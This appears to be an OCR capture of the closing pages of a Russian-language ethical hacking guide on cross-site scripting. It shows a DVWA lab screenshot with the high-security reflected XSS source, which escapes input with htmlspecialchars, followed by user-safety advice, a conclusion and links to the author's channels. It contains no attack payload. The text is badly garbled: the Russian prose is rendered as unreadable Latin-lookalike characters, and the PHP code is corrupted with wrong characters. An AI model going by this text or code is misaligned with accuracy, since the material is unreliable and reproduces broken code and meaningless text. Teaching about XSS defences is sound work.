NMOMOLLLbIO KHOMKM «View sourse»:



Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Reflected Cross Site Scripting (XSS) - Mozilla Firefox - B

BeEF Control Panel x Damn Vulnerable Web 4 X | +

<) Damn Vulnerable Web App (DVWA)VLO.7 : Source - Mozilla Firefox @ @ @ [FP+ - O Search n o =
-t R .

® Moj @ 10.0.2.7/dvwa/vulnerabilities/view_source.php?id=xss_r&security=high -9 W = [ng R Bltinter S (el (O EHifgSane:

¢d Cross Site Scripting (XSS)
Reflected XSS Source

<?php
if(tarray_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ”'L‘
b

Sisempty = true; I

} else {

echo '<pre=';
echo 'Helle * .| htmlspecialchars($ GET['name']]);
echo '</pre="; I

}

7>

‘ Compare |

II!!%!!E&!EE!!‘EW =

Damn Vulnerable Web Application (DVWA) v1.0.7

3Ta PyHKUMA obpabaTbiBaeT Kaxkabli CUMBOJI, KOTOpPbI Bbl BBeaeTe. OHa TaKKe
coobuwaet 3t0 HTML, 1 6paysepy, 4TO U3SMEHUT UX HAa SKBUBANIEHTHbIE CUMBO/bI B
koge HTML.

Ha camom aene, He Ba*KHO KaKylo MHbEKLMIO Bbl MbiTaeTech cAenatb, Tak Kak
6yaeT NPoXoAnTb NPOLLECC KOHBEPTaLUMW.

Ecnun Bbl 06bI4HbIN NONb30BaTeNb, TO B AaHHOM cay4dae URL byaeT BbirnaaeTb, Kak
00bIYHbIN N AOBEPEHHbIN. B gaHHOM cUTyaunun, 1 pekomeHAayto bbITb
OCTOPOXHbIM NPU Nepexoae Mo CCbiIKam, U NONYYEHUA KaKUX-TMH0o
HepeKomeHayembix Gopmax (BCN/bIBatoLME OKHA).

Ecnu Bbl ckaunBaeTe 4YTO-TO, TO NOCTapanTecb 06paTUTb BHMMaHME Ha TO, YTOObI
6b1ln odnumanbHbii caiiT, U HTTPS. Bcerga ceepaiiTe KOHTPO/IbHbIE CyMMbl COTa,
yTO6bI M36EXKaTb BO3MOMKHOCTb NOANOra.

Ecnaun Bbl nonyunnmn penkosoe yBegomneHne 0 BBOAE I0TMHA M Napoaa (Ha
npumepe Facebook), To urHopupyiite ero.




3aKnoueHue

BOT 1 nogoLwna K KOHLY AaHHAA KHUIA, HO OHA He ABNAETCA JIOTMYECKUM
3aBepLIeHmnem, U A eLe BEPHYCb K YA3BMMOCTAM, KOUX AOCTAaTOYHOE KONMYeCTBO.
Hapetocb, Bam noHpaBmIoCh 4aHHOE PYKOBOACTBO, M Bbl Ha NpaKTMKe (a He Ha
CYyXOW Teopum) «nolynanm» pasHble Buapl MexcanntoBoro CKpUNTUHra.

Bonbwe nHpopmaumm no ITUHHOMY XaKMHIy U TeCTUPOBAHUIO HA MPOHUKHOBEHUE
MOeTe y3HaTb Ha MoeMm KaHasne tOTy6:
«https://www.youtube.com/HackerTimcore» , n B couManbHbIX CETAX, KOTOPbIE
yKa3aHbl Ha KaHane. MoxeTte noanucatbca Ha mon npodunb BK:
«https://www.vk.com/mikhail tarasovcom». Euie ecTb 0BO/IbHO MHTEPECHbI
nabaunk BkoHTakTe «https://vk.com/hacker timcore».



https://www.youtube.com/HackerTimcore
https://www.vk.com/mikhail_tarasovcom
https://vk.com/hacker_timcore

